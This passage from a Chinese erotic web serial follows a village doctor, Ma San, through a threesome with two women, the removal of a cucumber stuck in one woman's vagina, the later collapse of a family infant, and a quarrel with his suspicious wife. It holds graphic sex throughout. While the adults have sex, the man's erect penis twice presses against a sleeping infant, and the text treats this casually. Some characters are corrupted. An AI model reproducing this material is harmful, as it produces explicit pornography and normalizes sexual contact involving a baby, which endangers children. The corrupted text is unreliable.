“呵呵,我可不坏啊,这是人的本性,要是不爱做这事那才不正常呢!有的人连硬都硬不起来,自己老婆连一次高潮都没达到过,那才叫受罪呢!像我这样长的也少见,你说是不?”

金鸽脸色一红,笑了笑没说话。说实话,金鸽这时正在受着这种煎熬,老公的那玩意,说白了跟小孩子的小鸡鸡一样,不但细而且还短,插进去就像没进一样,在阴道口插来插去,一点都没感觉,更别说高潮了。自从生了孩子之后,整个阴道口被撑大,丈夫的小鸡巴更显得柔软无力,常常刚进就射了,不过幸运的是丈夫那点精子还算厉害,竟然很顺利的播了种,还生了一个胖小子。

为了煳口,丈夫也跟其他人一样去城里的工地打零工了,一个月最多回来一次,有时还来不了。

“你的是少见,不过也太大了,把人家那里都塞满了,要是再小一点就好,这样连子宫都让你给戳透。”

“呵呵,不会,最多就在子宫口,其实戳进去更好,把精子都放进去,让你一下怀个十胞胎,一回生个十来个,更省事。”

金鸽一听,踹了他一下,打骂道:“你才生十来个呢!你以为我是猪啊,再说我就把你给阉了。”这一踹,没站稳的麻三不小心又压在金鸽儿子的身上,硬如钢棍似的大鸡巴刚好又顶住家宝,家宝猛咳几声又睡了过去,三个人都没在意又继续玩了起金鸽玩得开心,起身一把拉住麻三将他按倒在床上,还没等麻三反应过来,她就一屁股坐了上来,大鸡巴一下子被吞没了,而后上上下下疯狂的做了起来。

正当两个人忘我的时候,听到小霞在旁边叫了起来:“进哥,你们还有心情做爱,你看看那根黄瓜拔不出来了。快点帮帮我啊!”

这时两个人正做得如痴如醉,哪里还管得了那么多,麻三用尽全力不停的插着,丰满的金鸽也用力坐着,被大鸡巴顶得心花怒放,一下一下的走向爱的巅峰。麻三的速度也越来越快,脑袋里想着自己见过的所有美女的照片,快速的切换着,顿时“啊”了一声,下身开始猛烈的抽搐,大龟头里的精液往金鸽的身子里射着。 “快点帮我啊!黄瓜取不出来了。”

这时小霞在床的一边还在不停的叫着,并打着麻三的脸。麻三看了看,顿时笑了起来,只见小霞一只手扒着大阴唇,另一只手伸进红肿的阴道里不停的抠着,抠出小块青皮的黄瓜,看样子,这根黄瓜已经进到里面去了。

金鸽也看了过去,忍不住笑了起来,道:“你可真是的,怎么想起来用这个啊?这东西是脆的,什么时候才能整根拔出来啊?”

“嫂子你还好意思说,要不是为了把大鸡巴让给你,我用得着这凉黄瓜啊!” 麻三一看,不停的摇着头。情况不妙啊,这根黄瓜虽然不是很粗,但是插在小霞的小阴道上也是满满的,黄瓜已经被小霞枢到了里面,连个着手的地方都没有,怎么拔呢?

麻三伸出手想从黄瓜与阴唇的缝隙里试试看能不能伸进去,手一插这才明白阴唇被撑得圆绷绷的,一点东西都容不下。

小霞看了看说道:“都是你干的好事,现在好了吧,拔不出来了,这可让我怎么出去啊?走路都走不成了,等一下我妗子来了,可怎么说?不行你得陪我去看。”

麻三一听可吓坏了,心想:可不能这样,看来这个小霞真不是好惹的啊!要是这事让老婆知道了那可怎么办啊?不把自己扒层皮才怪呢!老婆对自己那么好,自己却在外面留了一路情,他决定再好好研究研究,看还有没有什么可行的办法。 金鸽望了望这个嫩得发红、发肿的阴唇,心疼的问道:“我说妹妹,这里撑得疼吗?要不我用手硬塞进去,用指甲抠出来?”

小霞红着脸,疼得不得了,说道:“嫂子,不行,我都枢了半天了,这黄瓜太脆,刚在外面的头让我给弄断了,要不然就可以抽出来了,你看看。” 说着她又试了一次,可是只能枢出来一点,起不了什么效果。

正在一二人为难的时候,忽然听到孩子猛烈的咳了起来,金鸽一听,顿时吓了一跳,也管不了小霞了,爬过去看儿子,儿子可是全家人的命根子,要有了什么事,那自己可是吃不了兜着走。

她才爬过去就大叫了起来。

“进哥,坏了,你看看我儿子怎么了,嘴角上怎么有血啊?”

小霞和麻三也吓了一跳。麻三这时猛地想起来刚才用大鸡巴顶了一下,难不成用力过猛硌着了?但想想也不可能啊,鸡巴再硬哪里能硌得小宝宝出血呢? “那怎么回事?是不是得了什么病啊?”

麻三看了看孩子的脸有点发青,不停的咳着,看样子真有点害怕!小霞这时也着急,自己这根黄瓜还没弄好,现在又出了这事,可怎么办啊?她急得跺脚,此时快到中午了,万一再有个人来那就完了。

金鸽急忙拿出一只小碗,倒了点奶粉,用勺子喂了起来。小霞则是眼泪都快掉下来了,不停的用手抠着。

麻三看着金鸽喂孩子奶粉的时候,猛地想到什么,问道:“金鸽,你们家里还有勺子吗?”

金鸽这时也没那么大激情了,光着身子喂着孩子,嘴里说道:“有、有,桌子的抽屉里还有一个。要勺子干什么?”

麻三这时也顾不了那么多了,从抽屉里翻出了那个明晃晃的小钢勺子,把小霞的双腿放好。

小霞见他拿了一个勺子,十分不解的问道:“进哥,你想干嘛?刚才整根黄瓜都断到里面去了,你拿着勺子干嘛?我现在一点激情都没有了,要玩,你自己玩去,人家这里疼得要命,你还有那心情。”

麻三看了看她,笑着说道:“看你说的,我哪里有那么多闲心?你看着,等一下那根黄瓜就出来了。”说着麻三便让小霞平躺,他俯下身去,看了看这根已经完全进去的黄瓜,心想:可真是的,第一次一下玩两个女人,倒好,都出事了,看孩子的情况也不妙,小霞这事能不能解决还不知道。

他这时把她的双腿分开,拿起勺子朝着黄瓜心轻轻挖去,这个勺子还真管用,不非一会儿一个小拇指般的小洞呈现在麻三的眼前,他看了看这个小勺子,心里感激极了。

等挖得差不多的时候,他伸出中指和大拇指,也不管小霞叫不叫,用力往里插了一点,等确定能用上力的时候,便轻轻的往外拉,一边拉,一边叮嘱着小霞:“放松点、放松点,你越用力越难拔出来,要是再拔不出来就得动手术了。” 麻三是个医生,小霞越听心里越害怕,便一声不吭的平躺着,尽量把唿吸放平,放松整个身子。这样一来,黄瓜旁有了些空档,麻三心里大喜。

第三回意外事故

麻三把手指头塞进去后,用力往外拉,边拉边?摸着小??,让小霞的下身尽量多一点爱液。

黄瓜终于缓缓退出了阴道,小霞也长长的吁了口气,望着拔出来的黄瓜,她露出了甜美的笑容。

“进哥,你真行,下回要是再取不出就得用你这个办法。”

麻三一听,又把黄瓜塞进去了一点,说道:“呵,你再说我就再塞进去,让你试试看。”

正说着,就听到黄瓜“喀”一声脆响,断了。三个人都愣住了,同时,院子里也传来了脚步声:“我的妈啊!这什么天气呀,这么热!”

三人一听都愣了,这时金鸽猛地大叫:“进哥,你快点把衣服穿上,我婆婆来了!”

麻三也非常明白,现在三个人都赤裸裸的,一看就知道没干什么好事!再说了,这个婶子本来就对自己没怀什么好心,说不定还会想着自己手淫呢! “进哥,都是你!现在还有半截黄瓜没取出来呢!不行,我得跟你回家去取出来。”

麻三一听,心想:天啊!这个小妮子可真麻烦!现在都是什么时候了,自己出来与你们二人销魂一次就是为了过足瘾,恐怕以后再也搞不成了,现在她还想跟着回家,那不让老婆起疑心才怪。他这时又猛地想起了路上那个女人。 他心里开始犯忤了。

“小霞、小霞你在哪啊?手好点没有?让妗子看看,你来这里帮忙还把手伤成这样,早知道这样把你送回去了,让你妈看到了还不怪我啊?”

小霞一听,也顾不得什么了,赶紧穿起了衣服,金鸽把孩子放在大床上,但此时已经来不及穿衣服了,只好把被子一盖,拍着哭着的孩子,装出在喂奶的样子。

这时脚步声已经到了门口,边走边说道:“全进怎么在这里啊?刚才不还在田里吗?难不成真成了猴子,有了分身术不成?”

麻三听见声音已经到了门口,便抢先一步走到门口,把门打开。

“哟,婶子,有我在你还不放心啊?小霞的手好得差不多了。”

婶子吓了一跳,双手拍着胸口说道:“你这个大侄子可真是的,把我给吓死了!刚才我还在念说院子里怎么还停着你的自行车,遗以为你会分身术昵!” 麻三低头一看,却意外的发现拉链没拉,拉了起来,脸不由得红了起来。 “看婶子说的,我要有那本事,全村的人都病了也无妨,可以一下子就看好。” 婶子扬起手轻轻在麻三的肩膀上拍了一下,笑着说道:“看看你这个乌鸦嘴,再想赚钱也不能咒我们全村的人都病啊!真不会讲话。”

说着婶子就走了进来,向小霞走去。

刚才麻三怕被她看出什么,所以想尽量拖延时间让小霞整理。小霞这时已经整理好了,看妗子进来,笑着说道:“妗子,你怎么这么早就来了?”

“你这个孩子呀!幸好你不是地主,要不然我不累在田地里头啊!你看看现在都几点了?十二点半了。”

小霞这时也不知道要说什么,只好捂着嘴巴笑。

“我看看你的手,没事了吧?”

“没事了,这点小伤一会儿就好了。”

“别在这里逞强,手没事就好。”

“没事、没事了,你快点去做饭吧!我都快饿死了。对了,人家进哥可还没吃饭呢!给我们俩看了半天的病,不请人家吃顿饭怪不好意思的。”

婶子一听,笑着转头对麻三说道:“看看,我都老煳涂了,不就是请大侄子吃顿饭吗?要的、要的。来来,今天婶子可是要定你了,别跟我说你要走啊!” 麻三一听,差点没吐出来。要定我了,这是什么话啊!给我还不要呢!老得跟个腌黄瓜一样,摸起来没一点弹性,还有什么搞头。

“不、不了,婶子,今天我家里来了一个客人,等着我回去呢!再说了,我今天可是头一次下地,怎么也要我老婆好好伺候伺候我,不然怎么甘心啊!” 说着麻三就想走了,婶子一看,这可不行,这个小白脸在自己心中可是白马王子等级的,哪里能这么轻易放手!顿时急走几步,抓住麻三就往里头拉。麻三可不愿意了,下地回来的婶子手上都是泥巴,还没洗就拉住自己的手,他想要尽快逃脱,可是婶子这个做农活的人力气特别大,挣扎了几下竟然一点反应也没有,麻三只好算了,现在最重要的是别让她再碰自己的身体。

“好、好,婶子,你先忙吧!我不急着走了。”

婶子一听,笑着说道:“就是嘛!你看看干了半天的活,又帮我们家看病,在我们家吃个饭会怎样,难不成我还会给你下毒药?”

“不会、不会,婶子说到哪去了。我想你也没那么蛇蝎啊!”

婶子一听,开心的伸出手朝麻三那结实的胸脯捶了一拳,捶得麻三咳了几声。 “妗子,看你说的,快点去做饭吧!都快饿死了。哎哟,来一趟亲戚家可真不容易,连顿饭都吃不好。”

“好了、好了,小祖宗,我累死累活的干了一上午活,还得伺候你们这些小的吃喝,图个什么啊?以后要是你们不对我好,我做鬼也不放过你们。” 小霞咯咯一笑,望着这个年近半百的老徐娘。

“哇哇……”

孩子也不知道怎么搞的,不停的哭着,看样子像是哪里不舒服的样子,婶子走了过去,看了看满脸乌青的孩子,顿时吓了一跳。

“鸽,孩子怎么变成这样了?怎么搞的啊?你看看,让你单独看个孩子都看不好,你还能做什么呀?”

这时金鸽也不知道该说什么了,明明刚刚还好好的孩子,怎么一下子脸色变得乌青?麻三一听也愣了,他想到自己用大鸡巴硌孩子的那一下,但是随后又想到,应该也不会这么严重啊?

“大侄子,你快点来看看,我的宝贝孙子到底怎么回事啊?”

麻三倒退了几步,不知是自己心虚还是其他原因,他竟愣在那里没动。 “大侄子我在和你说话呢!你快点过来看看我的孙子呀。”

麻三装出一脸刚回过神的样子,走了过去,看到孩子不停的咳嗽,而且出现了急喘。现在最重要的就是保持孩子身体的平衡,不能受颠簸。

“大侄子,你快点给我的孙子看看吧,可千万别出什么差错啊!我们家可都是一脉单传,要真有个什么意外那就完了,叫我老婆子怎么活啊!”

说着婶子又是拍腿又是嚎啕大哭,哭得痛不欲生。麻三这时也傻眼了,就凭自己的这点本事,恐怕只能应对头疼、发热等简单病症,面对这样的重症还真是束手无策。

但是想想婶子说的也对,人家可是三代单传,要真有个三长两短,那后果可真不堪设想啊!

“嫌子,看孩子病情很严重,家里又没有先进的钱疗设备,辽是快点去大钱院看看吧!孩子的脸色已经发青,不能再拖时间了。”

这个时候婶子也没办法了,她想想也是,村子里能看个小病小灾的就不错了,看样子孩子病得真是不轻,便说了一声:“走吧!”

说着婶子便和金鸽说道:“别愣着了,拿条小被子包着走啊!”

这时的金鸽也是吓煳涂了,听了婆婆的话急忙从大立柜里拿出一条新的棉被包住了孩子,婶子则去庭院里骑单车,就在她刚离去的时候,孩子又大咳不止,嘴角一动,一股鲜血流了出来,金鸽一看,顿时“啊”了一声,躺在床上晕了过去,小霞一看,也吓得尖叫了起来,道:“救命啊!我嫂子晕死过去了,晕死过去了!”

刚刚离开屋子的婶子一听,也顾不了那么多,又猛地跑了回来,一看,大哭了起来:“我的孙子,哪个人来救救我的孙子啊!看看,现在的日子可叫我怎么活啊?老天,你真是太不公平了!”

麻三看了看乱成一团的场面,顿时冷静了下来。是啊,在这个节骨眼上怎么也不能再慌了,想到这里他急忙拉起婶子,劝说道:“婶子,你别哭,现在哭也解决不了问题,要是再耽搁下去,那可真的完了。”

婶子一听,拉着麻三的手说道:“我说侄子,你看我现在还能做什么呀?田里的活干不完,家里又出了这种事情,现在金鸽也晕死过去了,我自己一个人怎么带孩子去大医院啊?我那可恶的死老头子,死到外面图清静去了,让我一个人在家里受苦受累,太没良心了。”

“妗子,别哭了,我们快点带孩子去医院看看吧!”

小霞这时也顾不了下身那半根黄瓜了,拉着妗子的手不停的说着。婶子这时好像也明白过来了,坐了起来,抹了一把眼泪,一句话也不吭,掀起帘子出去了,随后听到外面响起自行车的铃声。

麻三一听,抱起孩子就往外走,小霞也跟着跑了下来。

“婶子,来,我带着你吧,我骑的快。”

婶子仰起头,望了望白白净净的麻三,说道:“孩子,好孩子,你有这份心就成了。你家里还有很多人等着你呢!我不能再耽搁你了,快点回家去吧!天色也不早了,婶子不能留你吃饭了,快走吧!”说着推了一下麻三,转头对小霞说道:“小霞,快点抱着孩子跟我去一趟医院。”

小霞望了望妗子,又望了望麻三,还没说话便听到妗子叫了起来:“还赢着干嘛?光等着吃饭啊?快点上车啊!”

小霞二话不说便上车了。

二人出了大门,没关门就走了,只留下麻三一个人站在院子里愣了半天,他回屋里望了望躺在床上的金鸽,心里默默祈祷着。他把金鸽的身子放平,盖上被子,在为她盖被子的时候,他发现金鸽的身子还是那么迷人,高耸而有些胀奶的大咪咪依然让他垂涎,褐红色的乳头被拉得长长的,似乎孩子刚刚还在扯着乳头吃奶一样,可是现在孩子已经没有吃奶的力量了,他正在和死神做着激烈的斗争。 正当麻三起身想走的时候,忽然门外来了一个人,掀开帘子刚好看到麻三给金鸽盖被子。麻三忽然听到外面有人清了清嗓子,这可把他吓坏了,原本就心虚的他吓得差点软倒在地上。

“你、你是谁啊?怎么跟个鬼似的,来了也不吭声啊!”

这时麻三才看清楚,原来站在门口的这个女人长得还真漂亮,一头烫发披在肩上,露出一张瓜子脸,杏仁眼,小圆嘴,高高的个子,看样子应该与自己的年龄差不多。

但她是谁呢?他搜遍了整个脑袋也想不出来。

“呵呵,看把你吓的,怎么,做亏心事了?”

这个女人把手伸向自己的裤袋里掏着,裤子是松紧带的,手用力一掏把裤子都拉了下去,露出里面的花裤头,麻三吓得急忙把头扭到了一边,心想:自己与金鸽的事还没弄清楚呢,现在又出现一个女人,而且还做出这么不雅的动作,她到底有何居心?

“呵呵,看你那样,还知道羞羞脸啊?放心吧,我有老公的,我老公比你能干,看你瘦不拉唧的就知道没什么能耐,还好意思当医生,我看你啊,一肚子坏水。”

麻三一听,被说了个正中,但是自己不能承认啊!急忙站起身就走了出来,边走边说道:“我告诉你,我可是个医生,要是你再乱唠叨的话,小心我让你老公修理你。”

这个女人一听,好像很害怕似的,左右看了看,望了望周围。

“就在门外呢!还看,他就等着回家修理你呢,让你天天没事瞎扯。” 麻三一看这个女人似乎有点异常,既然她怕老公,不妨多吓唬吓唬她。 “呵呵,随你扯吧,我来的时候早就看过了,他骑着车子去城里了,他要是敢来,我就把他打到趴下。你以为我真怕他啊?错了,要不是对我好,我才不让哪个我没去过,哪个人不知道我风妹啊?”

麻三看她说话颠三倒四的样子,心里倒没那么害怕了,心想:这个人肯定少根筋。

管她呢!但是现在让她看到了不该发生的一幕,是自己理亏,还是早点离开这个是非之地。

想到这里,他二话不说低头便走了出去,哪知道这个自称风妹的女人竟一把拉住了麻三,麻三心想:这事还没理清楚呢?现在又冒出来一个,可不是好现象啊,还是走吧。

麻三推开她就往外走,刚走没几步,只听到后面的人开口说话了:“怎么,不把我的话当回事啊?好啊,那我就把我看到的跟你老婆孔翠说一遍,让她看看你是一个什么样的人,怎么样?”

麻三一听,愣了,心想:有理不怕影子歪,但现在是自己理亏啊!便愣在那里走也不是,不走也不是。

“呵呵,我知道你不敢走,你还是想做个好丈夫吧?好啦,我给你一个机会,你稍等我一下,回答我一个问题,我就放过你。”

麻三心里真是后悔极了,后悔自己再回来替金鸽盖被子,要不然也不会被这个女人给盯上,现在好了,堂堂七尺男儿竟被一个女人给抓住小辫子。

“好,你问吧。”

女人说话时手也没闲着,掏出化妆品不停的涂抹,并没有理会麻三说什么。麻三眼看着日头一点点靠西,心里可着急的,但是人家却不疾不徐的,完全没有把他的话听在耳里。

“我说姑娘,你到是说话啊,要问什么,我回答完了好走啊?”

“好了、好了,马上就好了,这人活一张脸,树活一张皮啊!既然你这么急,那就这样吧。来,你看看我,仔细的看看我。”

麻三一听,愣了,心想:这个女人的脑袋真的有问题啊!怎么现在这个时候还好意思问这么无聊的问题?

“我说姑娘,你要是有事就说,要没事我可走了,没空跟你在这瞎说。” 女人一听,哼了一声,肩膀靠墙立在墙角,斜着身子抖肩笑了。

“呵呵,我说全医生,别以为自己算个人物,告诉你,你压根就是个伪君子。好,这个问题不用你回答了,我就跟着你回家一趟,把事给小翠一说,什么不就都结了。”

麻三一听,急忙摆手说道:“我说姑娘,你有话快点说好吗?我真的有急事呢!”

“呵呵,姑娘?可惜你叫错了,我早就不是姑娘了,姑娘是什么?就是黄花闺女啊,你看看我都三十好几的人了,生了两个孩子,腿也粗成这样了,还叫我姑娘?真是说话都不知道怎么说了。好了,我也累了,我老公也快从城里回来了,告诉你,我老公干劲蛮大的,晚上得好好伺候他。我就问你一个问题,你回答了就走人,谁也不欠谁。”

麻三一听,这个女人说话可真不要脸,说的都是什么话啊,真不知道害臊。 “好、好,说吧,什么问题?”

“我刚才都已经说过了,你们男人真是粗心,看看我好不好看就得了,不过你可要说实话哦,要是我不高兴了,可别怪我反悔。”

麻三一听,真想掮她几个耳光,但是现在也真的没办法了。硬着头皮仔细看了看,心想:要说长相长得还真可以,但气质对于人的整体形象影响不小,要是她矜持、文静一点,说不定自己还会偷瞄她几眼,但现在这个情况,再加上她又尽说这些疯言疯语,虽然长得有些姿色,但他还真的不想多看一眼。

“好看,我看你老公回来肯定喜欢,我们村子里没一个能比得上你。” “呵呵,你说的都是真的吗?”

麻三一听,心想:是真的才怪,就你这点气质,长得再好看也没人理你,说白了就是一个贱货。

“真的,这个我还骗你啊,是真的。现在可以了吧,那我走了。”

麻三刚想走,这个女人忽然又叫住他说道:“看你,说完就走,太没情调了。人家觉得你说的不是真的,这样好吗?你再说一遍,大声的说一遍,我就放你走。”

麻三一听,顿时火了,冲着她大吼:“你的脑袋是不是有毛病啊?要是你再缠我……”

话还没说完,就听到风妹也朝他大吼:“要是再缠你怎么样?怎么样啊?” 说着便走了过来,伸手拉住了麻三的衣服,一用力把衣服从裤子里拉了出来,麻麻三一看就准备喊叫,风妹却笑着说道:“你要是再喊,小心我叫非礼。你想想这村子里哪个人会相信你呢?”

“你可真是的,你到底是什么人啊?”

“什么人?女人。好了,你再大声的说一遍,说完就走人。”

麻三看了看四周见没人,扯着嗓子喊了起来道:“你是村子里最漂亮的女人!没一个能比得上你!现在怎么样?”

风妹捂着嘴,笑得花枝乱颤的说道:“我说全进你可真是的,喜欢人家你就说吧!这么大声干嘛?好了,这音量是可以,不过我还得问你一句。”

正在二人纠缠的时候,大街上走来了一个推车的人。是一个女人,她听到这么刺耳的声音,闻声而来,望了望胡同里,急忙把身子往树旁移了移,把车子停在一边。

这时二人还在这里纠缠着。

只听到女人说道:“你说我是村子里最好看的人,那么我跟你老婆孔翠比起来怎么样啊?谁更好看?”

麻三一听,气得不得了,心想:这个女人怎么这么难缠,竟说出这么无理取闹的事情来。但是此时已经中了她的圈套了,又能怎么说呢?

“你好看、你好看,比我老婆漂亮。”

这么一说,躲在树后的女人一听,受不了的大声叫了一声:“我说你们两个真够贱的!犯骚也不能在大街上骚啊!”说完推起车子走了。

麻三一听愣了,一眼望去,心头猛的一凉。天啊,这个女人不是别人,正是那个看上去挺洋气,似乎能看透自己的那个少妇。

完了、完了,麻三这回真的六神无主了,原本就怕,现在这么羞于见人的话竟让她听到了,万一这话传到孔翠那里可如何是好啊?他也顾不了那么多了,从胡同里跑了出来,想看看这个女人到底要往哪里去。

听到身后传来风妹那怪怪的笑声,麻三真的很后悔,看来老话说的对:“不做亏心事,不怕鬼叫门。”看来以后要好好克制了,要不然真的吃不了,兜着走。 当麻三跑出胡同的时候,那个少妇已经不见影子。这么快?他看了看左右前后,也没有发现她到底往哪个方向去。

他垂着头就准备回家,但是回头一想:坏了,自行车还在金鸽家呢!这可如何是好啊?但是此时也颞不了那么多了,便走了回去,这时麻三又跟风妹碰面了,风妹这回倒没有再和他纠缠不清,朝他笑道:“我们回头见啊。”

麻三理都没理她,径直向金鸽家跑去,看来金鸽还没醒,但此时已经管不了那么多了,还是早点回家的好,不然回去晚了说不定有什么事情发生呢!他看了看表,天啊,已经一点多了,远远超过下晌的时间。他一边推车,一边想着该如何向孔翠解释。

此时麻三心里七上八下,像揣了一只小兔子似的,不知不觉就到了自己家门口,他望了望熟悉的大木门,却怎么样也迈不开脚。心想:做了坏事,好像大家都能看透似的。

再转念一想:老婆在家,又不喜欢外出聊天,怎么会知道自己在外面瞎混呢?都是自己乱想罢了。对,越理直气壮越没事,要真畏畏缩缩的,反倒会暴露自己的心虚。

想到这里他便鼓起勇气,很礼貌的敲了敲门,这时里面好像没人,他愣了一下,便听到有人说话了。

“呵呵,还这么有礼貌,自己家还这么客气干嘛?”

说话的不是别人,正是自己的老婆孔翠,听她这么一说,麻三心里就感到惭愧,心想:多好的老婆啊!自己还在外面乱搞,以后得好好对待她,以补偿这段时间对老婆的愧疚。

“呵呵,不是客气,这不是有礼貌吗?你都这么通情达理,我也不能落后,不然不丢你的面子啊?”

“呵呵,你的嘴还是这么贫。”孔翠往外看了看,回到了屋子里。

“呵呵,不是贫,在我心里老婆最美了。”

孔翠一听,哼了一声,进到了堂屋里。麻三一看,并没有什么变化,心里也有底了,得意洋洋的走了进来。

看到桌子上的饭菜,抓了一个白馒头吃了起来。

孔翠看到他的动作问道:“这么饿啊?”

麻三一听,看了看孔翠笑着说道:“看你说的,我干了一上午的活了,怎么说那话啊?你以为我修仙吗?凡人哪有不饿的。怎么,是不是觉得你老公长得帅,把我给封神了?”

“你呀,就嘴上的功夫。下地干活还上瘾啊,这么晚还不回来?难不成地里有金子捡啊?”

听她这么一问,麻三的嘴巴顿时停住了,心里一惊,心想:看看、看看,还是问到了吧,天啊,这该如何说才好呢?

“怎么不吭声了,是不是有什么事瞒着我呀?”

说着孔翠微笑着蹲了下来,双眼望着麻三,麻三感觉孔翠也怪怪的,盯得自己有点发慌。心想:她该不会发现什么蛛丝马迹了吧?但是回头想想,绝对不可能,自己老婆自己最清楚了,她从来不和那些女人在一起闲扯淡,宁愿在家里绣鞋底,也不会去说东家道西家。

“看你说的,我天天陪在你身边,都没离开过这个村子,哪里能有什么事瞒你呀?”

孔翠这时叹了口气,慢慢坐了下来,也拿起一个蒸得发黄的馒头,把黄皮撕了下来,放在桌子的一边,并没有再说话,眉头紧锁,好像心事很重的样子。 麻三虽然坚信孔翠不会知道,可是看她这副样子,心里不禁也开始发颤了。不怕一万,只怕万一啊!想到这里他准备试探一下,正想问问题的时候,孔翠却擡起头问了一句:“进,你说我长得漂亮吗?”

这话一出,麻三顿时觉得头懵了,低着头,脸红得像一块盖头。

第四回初识孔利

孔翠这么一问可吓坏了麻三,他急忙说道:“漂亮、漂亮,我老婆是全村里最漂亮、最好看的女人。”

话一出,孔翠“噗”一声笑了,望着他说道:“我原以为你是个最诚实的人,但是从你这话听得出来我错了。”

麻三一听,更加不解了,拉住孔翠的手说道:“老婆,别的人我可以骗,但是你是我老婆,是我最亲的人,我骗你做什么?”

“呵呵,你说的对,别的人可以骗是吧,那你说说你都骗谁了?”

麻三一听,愣了。望着孔翠说道:“老婆,你到底要说什么呀?我可是真心真意的,从来没有过二心,难不成你还怀疑我不成?”

孔翠叹了一口气说道:“好了、好了,就这样吧,我不吃了。”说着把碗筷一放,向里屋走去。

麻三一看,顿时愣了,心想:大事不妙,难不成她真的知道自己私底下做的那些事了?

“老婆、老婆,翠,别啊,你怎么能不相信我呢?”

麻三正准备追进屋里的时候,突然从里面出现了一个人,一个漂亮洋气的女人。

麻三一看,顿时明白了,把头低了下来。

“我说全医生,你怎么不说话了?说啊,说说让小翠怎么去相信你?” 麻三这时什么都明白了,望了望这个洋气的女人,说道:“你是谁啊?我可不认识你,别在这里影响我们,没有的事别乱猜、乱想。”

“你啊,什么都可以原谅,但是这事还让小翠怎么原谅你啊?现在都什么时候了,你还在这里骗啊骗的,有意思吗?现在倒好,净扯些胡话,还好意思问我是谁,你以为你说些疯话,小翠就会原谅你啊?没门!说,今天的事怎么向小翠解释呢?这可是我亲眼见到的。”

麻三这时看着她再也没那么顺眼了,相反的,她的美倒成了他反胃的根源。 “你是谁啊?我真的不认识你,要是你真的为孔翠好的话,请你经过大脑好好想过之后再说。”

“呵呵,看,还在装,现在都什么时候了,还说这些,刚才你对着村里的疯子说什么来着?说人家是村子里最好看的女人,连自己的老婆都没人家好看。这句话是不是你说的?”

麻三一听,顿时火了,但是面对这个天大的误会,该如何解释呢?即便是说出来,哪个女人会相信呢?他想了想,张了半天嘴,也没说出一个字来。 “看看,说不出来了吧!我就说吧,你呀,一看就知道是一个多情种,算了,我还是好好开导你一下,要是你再不对翠好一点,小心我叫一帮人?死你,别在这里欺负女人。”

麻三一听,真是哑巴吃黄莲——有苦难言啊!

“我也不管你是谁,但是我可以告诉你,我可不是你说的那种人,更不是多情种,至于你今天说我跟风妹的事,我会给你们一个满意的答复,但是你在这里我不想说,因为你不讲道理。”

这个女人一听,指了指麻三说道:“我不讲道理,好、好,到底是我不讲道理还是你不通人性,只有你自己知道。好了,俗话说的好:”清官难断家务事‘,所以你有什么话也没必要跟我说,不过你以后可得小心啊!“

说完朝着里屋里说道:“小翠,我走了,有时间再来找你吧!”

孔翠这时从里面走了出来,头也没擡,径直从麻三的身边走了过去,麻三顺手拉了她一下,孔翠猛地把他给甩开了,而后朝那女人说道:“那我送送你吧!” 孔翠跟在这个女人身后,慢慢的走出去。

“好了,才多大点事啊,对这种男人就得狠,不然会让他得寸进尺啊!” 孔翠一句话也不说,脚下踢着一个小石头,石头被踢到这个洋女人的自行车车轮上,打几个滚后落在地上。

二人不一会儿就消失在大门外面,这下子可把麻三给气着了,心想:这个女人到底是谁?怎么会到自己家里来呢?等老婆回来一定要问个清楚。

他拿起吃剩下的半个馒头啃了起来,看上去挺丰盛的饭菜却难以入口,看这一桌子菜应该是为自己精心准备的,平常也就一、两道菜,而今天不但有自己喜欢的菜,还有她最拿手的两道私房菜:蒜茸茄夹、虎皮味椒。

他夹了一个茄夹,还是那么脆香够味,茄夹上的面煳用油炸过,表皮上撒了些芝麻,嚼起来特有味道,满嘴都是香气,虽然今天心情不太好,但是他依然忍不住多嚼了几口,情不自禁的吃了起来。要说孔翠,那可是好得没话说了,足以证明那句话:

“上得厅堂,下得厨房。”白天矜持的像个黄花闺女,晚上却风流的像个妓女,让麻三喜欢得不得了。

但是这个男人啊,本性就是风流,时间一长,再好的女人也变得平淡乏味了,特别是像麻三这个重生的人,他就是想多玩几个女人,以弥补之前只能眼观而不能亵玩焉的遗憾。

但是女人不一样,固然心里有那种想法,也会因为传统思想,而将自己固定在那个淑女的框架里,不敢越雷池一步,怕别人在背后指指点点。一个女人让人有了闲话,那可真的很难立足了,甚至会让别人瞧不起、唾弃,甚至是打骂。现在的处境还是好多了,要再倒退几十年的话,别说女人和别的男人聊天几句,就连门口都不能站,一辈子只能跟着那个男人,甚至连自己老公下身的物件都没正眼看过。

正想着,孔翠从门外回来了,头还是低着,看不清脸上的表情。

“翠,快点吃吧!等一下就凉了,要不我给你再热热。”

孔翠看了看麻三,轻声说了一句:“不用了,你自己吃吧,等一下你自己洗碗叫”

说着便回到了床上,盖起被子睡了起来,麻三知道她心里肯定很难受,便走了过去。孔翠听到麻三走了过来,索性把鞋子脱掉,身子钻到了里面。

孔翠这时缩着腿想着事情,这事怎么会降落到自己身上呢?白白净净、一表人才的人招人喜欢这是肯定的,但是二人的感情基础在这里,自以为是固若金汤,可是现在好像没有这么坚固了。

“老婆,你可别听信谗言,我发誓我只对你一个人好。至于她是谁我不太清楚,但是我可以告诉你,有的时候事情并不像你想像的那样。”

孔翠扭过头看了看在旁边说话的他,说道:“不是我想像的那样,那你说说是怎样。我说这段时间你怎么这么反常,肯定心里有鬼。”

麻三急忙拉起孔翠,双手握着她的手说道:“我们一起经历了那么多的风风雨雨,难道你还不知道吗?难道你宁愿相信别人的一句话,也不相信我们彼此之间的真爱吗?”

还没等麻三说完,就听到孔翠开口说道:“一起经历了那么多风风雨雨,那你说说看,我们经历了什么风风雨雨?”

话一出,麻三顿时无语了。说实话,麻三重生的时候除了记得那些看病的偏方外,以前的事什么都不记得了,知道的还是孔翠跟自己讲的那些,但是印象也不是那么深刻,这突如其来的问题让他感到无所适从啊!

“哎,别的我就不跟你说了。我还是大概跟你说一下我跟风妹的事吧!至于这个叫风妹的人是谁,说实话我也不知道。我不是去地里拔草吗?当我快完成的时候,婶子家的外甥女小霞的手被刮伤了,所以我就去她家里看看伤势,哪知道我帮她看好的时候,忽然有人闯了进来,那个人就是风妹,她非要我回答她一个问题,要是不回答就说我非礼她,你说这叫什么事啊?为了避免和她有过多的纠缠,所以我就回答她那个无理的问题,那个问题就是她是不是最好看的。你说我要是不说她最好看,她肯定对我纠缠不清,现在好了,我为了应付她的话却让那个女人给听到了,难不成你真的宁愿相信那个女人,而不相信你的老公吗?” 这时的孔翠显得很为难,面对两难的事情她也无语了。

“好了,老公我都说了,你才是我心中最美的人,就是因为我们相互体谅,才显得你更美丽。”

孔翠看了看麻三,把头靠在他的肩上,麻三感觉到老婆还是相信自己的,他想:

